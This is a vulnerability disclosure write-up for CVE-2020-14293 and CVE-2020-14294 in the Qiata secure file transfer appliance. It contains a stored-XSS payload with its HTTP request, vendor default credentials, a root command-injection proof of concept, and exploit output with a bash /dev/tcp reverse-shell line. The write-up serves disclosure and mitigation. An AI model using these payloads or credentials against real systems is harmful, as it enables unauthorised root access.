[CVE-2020-14293] and [CVE-2020-14294] 2 vulnerabilities in Secure File Transfer Solution Qiata by Secudos
Qiata Secure File Transfer Appliance
Qiata FTA is a secure file transfer appliance I worked with for several years. It will let you transfer files in a secure manner. The web interface is secured via transport layer security. Every user has an own account and can issue transfers to one or more recipients. You can even send a file to someone who does not have an account yet. The recipient will then recieve a second mail with instructions to register an account.
Furthermore you can add modules like Team Transfer which will give you the possibility to collaborate with a group and exchange files with versioning feature and so on.
Finally you can invite someone to send you a file.
There are tons of features and modules you can add to the appliance.
The manufacturer describes the product as follows (Link to vendor product page):
“Qiata File Transfer Appliances (FTAs) provide the ability to easily and securely exchange files with internal or external users.”
Cross-Site Scripting Vulnerability [CVE-2020-14294]
Due to insufficient input validation of user-provided input, it is vulnerable to Cross-Site Scripting. The vendor fixed this issue releasing the new major version 2.00.00.
A user can use the comment field within a transfer to implant arbitrary javascript code, as long as the “escaping mechanism” is escaped once again.
So let me ellaborate further on the “escaping mechanism” in place.
If you provide this string as a comment: <img src=# onerror=alert(1) /> the “escaping-mechanism” will write this string to the comment field: >img src=# onerror=alert(1) /<.
When later viewing the comment the image tag and the onerror action will not be triggered, as this is not valid html anymore.
Escaping the escaping
So what will happen if you start with >img src=# onerror=alert(1) /< as a comment string? Well, you might have guessed it right. It will be turned to <img src=# onerror=alert(1) /> and the code will be executed as soon as someone looks at the comments of the transfer.
The following screenshot will show an example of a malicious comment.
Submitting this comment will result in this request sent to the appliance.
POST /cgi-bin/transfers.fcgi?isc_dataFormat=xml HTTP/1.1
Host: 192.168.122.203
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X_CSRF_Token: b914b87e-cafc-4ee4-947a-d7139a55d59c
Content-Type: text/xml
Content-Length: 560
Origin: https://192.168.122.203
Connection: close
Referer: https://192.168.122.203/cgi-bin/login.fcgi
Cookie: FTATest=1
<request>
<data>
<objectId>d9545dcc-9393-41a4-91c3-553404194dc1</objectId>
<objectType>TRANSFER</objectType>
<subObjectId></subObjectId>
<commentDate>2020-06-17</commentDate>
<commenter></commenter>
<commentType>TEXT</commentType>
<scope>PUBLIC</scope>
<comment>>img src=# onerror=alert(String.fromCharCode(80,101,114,115,105,115,116,101,
110,116,32,88,83,83,32,98,121,32,83,121,83,83,32,71,109,98,72)) /<</comment>
</data>
<oldValues></oldValues>
<dataSource>commentsDataSource0</dataSource>
<operationType>add</operationType>
<componentId>commentForm0</componentId>
</request>
If someone happens to view the comments of this transfer this will result in the payload getting executed like this:
DOMOS - The operating system of Qiata FTAs
The File Transfer Appliance is based upon a hardened linux operating system called DOMOS. For all I know DOMOS is a customization of CentOS. It has a few maintenance and setup tools, as well as a web interface running at TCP port 10000 bound to only the internal interface.
The default credentials to login to the web interface are admin:admin. Also DOMOS provides a ssh connection. To login to it by default you can use admin:admin, too. If you want to be root the default creds are root:secudos.
Authenticated OS Command Injection [CVE-2020-14293]
I was reviewing the operating system logged in via ssh when I discovered a script which will be executed by the web interface when altering settings.
The script is called conf_datetime and is located at /opt/secudos/DomosConf/scripts. The script itself is a python script.
If we take a look at the vulnerable part we can see that the function os.system() will happily take user provided input and insert it into the statement like this:
# /etc/localtime
fn = '/etc/localtime'
fln = '/usr/share/zoneinfo/' + zone
try:
cmd = '/bin/ln -sf ' + fln + ' ' + fn
os.system(cmd)
except:
print "Can't create zoneinfo link."
return ret
So the intention of this call is that the admin can choose a timezone from the web frontend, let’s say Europe/Berlin, and the command executed will be:
os.system('/bin/ln -sf /usr/share/zoneinfo/Europe/Berlin /etc/localtime')
The value of zone however is under control of said “admin”. So let’s assume that after the installation of the appliance the administrator does not change the web interface password (I know this never happens 😂) and let’s also assume an attacker can access the interface from within the internal network (I mean this still could be possible, right? 😎) then how could an attacker abuse this script?
Proof-of-Concept
So using Burp Suite to intercept with the requests to DOMOS we can alter said zone value to our advantage:
/tmp/hackedAnd sure enough, when checking on that file /tmp/hacked you can see that the command injection worked just fine.
[root@localhost tmp]# pwd
/tmp
[root@localhost tmp]# ls -la
total 24
drwxrwxrwt. 9 root root 4096 Sep 30 11:31 .
dr-xr-xr-x. 17 root root 288 Jun 18 07:38 ..
-rw-r--r-- 1 root root 135 Sep 30 11:31 domosconfd.act
-rw-r--r-- 1 domosconf domosconf 3 Sep 30 11:31 domosconfd.fin
-rw-r--r-- 1 domosconf domosconf 3877 Sep 30 11:31 domosconfd.out
drwxrwxrwt. 2 root root 6 Jun 17 09:34 .font-unix
-rw-r--r-- 1 root root 96 Sep 30 11:30 fta-cc.log
-rw-r--r-- 1 root root 39 Sep 30 11:30 hacked
drwxrwxrwt. 2 root root 6 Jun 17 09:34 .ICE-unix
drwxrwxrwt. 2 root root 6 Jun 17 09:34 .Test-unix
drwxrwxrwt. 2 root root 6 Jun 17 09:34 .X11-unix
drwxrwxrwt. 2 root root 6 Jun 17 09:34 .XIM-unix
[root@localhost tmp]# cat hacked
uid=0(root) gid=0(root) groups=0(root)
[root@localhost tmp]#
As a bonus you will also have root privileges, as the script is executed as root. So this also is a Privilege Escalation, as well.
Automated Exploitation
Finally I wrote several exploits and a metasploit module to gain a reverse shell using this vulnerability. Again, I like the one written in go the most. You can find it in the links below. This is the output of the exploit:
❯ go run syss-2020-025.go admin admin 192.168.122.1 4444 https://192.168.122.7:10000
bash -i >& /dev/tcp/192.168.122.1/4444 0>&1
[*] sending preflight request to acquire session_id
[+] session_id aquired
[*] sending login request to validate session.
[+] login was successful
[+] successfully injected payload
[*] activating settings changes to trigger payload
[*] Starting reverse listener at 192.168.122.1:4444
[+] Now listening on 192.168.122.1:4444
[+] [192.168.122.7:36452]: Connection has been opened. Enjoy your shell, good sir.
bash: no job control in this shell
[root@localhost /]# id
id
uid=0(root) gid=0(root) groups=0(root)
[root@localhost /]#
Mitigation
Well, as always. Never trust the input a user provides. Sanitize it and don’t ever insert it into a system command call without sanitation. Even better, just don’t do it in general 😄.
For all the Qiata admins, just be sure to update the DOMOS version to the current one (which is greater than 5.8.0) and the Qiata FTA version to at least 2.00.00. Also always be sure to keep your software and products up to date in general.
Disclosure Timeline
- 2020-06-02: Vulnerability discovered
- 2020-06-17: Vulnerability reported to manufacturer
- 2020-08-12: Patch released by manufacturer
- 2020-09-28: Public disclosure of vulnerability
References and Links
CVE-2020-14293
- [SYSS-2020-025]
- CVE Github Repo by me (This holds the weaponized exploits and the vulnerable software if you want to reproduce)
- Mitre CVE
- National Vulnearbility Database